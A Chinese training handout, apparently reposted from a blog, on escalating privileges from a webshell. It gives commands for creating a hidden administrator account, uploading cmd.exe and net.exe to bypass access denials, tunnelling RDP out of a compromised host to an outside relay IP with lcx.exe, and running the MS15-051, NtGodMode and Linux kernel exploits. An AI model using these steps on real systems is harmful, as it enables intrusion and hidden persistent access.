http://blog.csdn.net/wizardforcel/article/details/59523598
米斯特白帽培訓講義 漏洞篇 提權
講師:gh0stkey
整理:飛龍
提權,顧名思義就是提高自己在服務器中的權限,就比如在 Windows 中你本身登錄的用戶是 guest,通過提權後就變成超級管理員,擁有了管理 Windows 的所有權限。提權是黑客的專業名詞,一般用於網站入侵和系統入侵。本講義所講的是基於 WebShell 的菜刀管理下提權。
基本 Dos 命令、常識
whoami
:查看當前用戶名,用於查看權限大小。ipconfig
:顯示當前 TCP/IP 配置,用於查看 IP。net user
:查看當前系統的所有用戶。net user <用戶名> <用戶密碼> /add
:創建用戶。net localgroup administrators <用戶名> /add
:將用戶加入administrators
用戶組。- 遠程連接默認端口:3389。
下面拿菜刀中的 Shell 演示一遍這幾個命令。
首先是whoami
,可以看到administrator
,應該是管理員。
然後是ipconfig
,我們可以看到192.168.175.129
,這是內網的 IP。
然後是net user
:
知道這些用戶之後,我們需要創建自己的用戶mst
。創建後再執行net user
,可以看到創建成功:
接下來我們創建一個名爲mst$
的用戶:
可以看到它並沒有顯示在用戶列表中,之後我們再執行net user mst$
:
它又是確實存在的,這就是隱藏用戶的一個小技巧。
之後我們把mst$
添加到管理員組中,並且查看它的信息,我們發現它成功剛添加到了管理員組中。
現在我們查看遠程連接的端口,首先執行tasklist /svc
,尋找TermService
:
我們看到它的 PID 爲 1504。之後執行netstat -ano
:
尋找 PID 爲 1504 的一行,可以看到它的端口是 3389。
需要遠程連接的時候,輸入剛剛創建的用戶名和密碼就可以了。
突破限制
假如說我們在實際情況中看到了[Err]拒絕訪問
:
那我們可以找到自己電腦上的cmd.exe
,然後上傳上去。比如上傳路徑如下:
我們就可以執行setp <路徑>\cmd.exe
:
我們再來看各種命令:
net user
還是拒絕訪問的,我們用老方法,找到自己電腦中的net.exe
,然後傳上去。之後執行<路徑>\net.exe user
:
可以看到突破了限制。
端口轉發
在提權過程中,我們經常碰到這樣的情況:
我們可以看到 WebShell 的主機處於內網下,內網的意思就是說,它能連接別人,但別人不能連接它,就跟連接路由器的個人電腦差不多。
那麼這種情況下,我們就需要用到端口轉發工具lcx.exe
,除此之外,還需要一臺擁有外網 IP 的主機。這裏我們把內網的主機叫做肉雞,獨立 IP 主機叫做本機。
將lcx.exe
上傳至本機和肉雞之後,首先確定本機的 IP 爲119.90.140.191
:
然後我們在本機執行:
lcx.exe -listen 51 3388
- 1
- 1
這條命令的意思就是說,監聽本機的 51 和 3388 端口,並將兩個端口互相轉發,端口 51 的入境流量發給端口 3388,反之亦然。其中 51 是用於肉雞連接的端口。3388 是用於我們的遠程連接客戶端連接的端口,爲了避免與本機的遠程連接服務衝突,選擇了 3388。大家可以自行選擇其他未佔用端口。
然後我們在肉雞上執行:
lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389
- 1
- 1
這條命令連接肉雞的 3389 端口,和本機的 51 端口,並互相轉發。
之後,我們在本機或其他主機上使用遠程連接客戶端,連接119.90.140.191:3388
,可以看到lcx
中顯示了轉發的信息。
遠程連接客戶端的封包會發給主機的lcx
,之後會發給肉雞的lcx
,之後會發給肉雞的遠程連接服務。響應封包會按原路返回。
等待一會兒之後,我們成功連接了肉雞的遠程桌面:
Windows Exp 提權
Exp 提權用於普通方式不好用的時候。
首先我們通過systeminfo
查看補丁:
我們可以看到它安裝了Q147222
。
然後我們使用GetRoot Tools工具,打開它,主界面是這樣的:
我們選中上面的 Windows 2003,然後把[01]: Q147222
複製到上方的輸入框中。之後點擊Search
:
這就是我們可以使用的 Exp。我們隨便選擇一個,比如MS15-051
。我們可以在課件中的 MS 提權集(提權-擴大戰果/擴大戰果-提權之Exploit提權&上帝之門(Windows).zip -> ms提權集/ms15-051/ms15-051
)中找到它。
我們需要根據系統的版本來選擇 Exp,這裏系統是 32 位的,我們就應該選擇Win32/32.exe
。上傳之後,我們可以使用dir
命令在目錄中看到它:
它的使用方法是<exp.exe> "<cmd 命令>"
,例如,我們執行net user
:
我們可以看到命令執行成功。
上帝之門
上帝之門 Exp 用於開啓 Windows 的“上帝模式”,即任意賬戶無密碼登錄。它需要能上傳並且執行 EXE 文件。使用方法爲NtGodMode.exe [ON|OFF]
。我們可以在課件中(提權-擴大戰果/擴大戰果-提權之Exploit提權&上帝之門(Windows).zip -> NtGodMode.exe
)找到它。
上傳之後,執行NtGodMode.exe ON
:
然後通過遠程連接登錄目標主機,將用戶名輸入爲admin
,密碼任意填寫。
可以進入目標主機。
注意,必須是輸入已有用戶名,不存在的用戶名是不行的。
Linux Exp 提權
首先根據uname -a
查看內核版本,之後根據內核版本找 Exp:
之後我們執行以下命令來編譯:
gcc -pthread exp.c -o exp
- 1
- 1
然後執行./exp
來執行 Exp。我們一開始的用戶可能是xxx@yyy
,執行之後就變成了root@yyy
,這樣就算提權成功。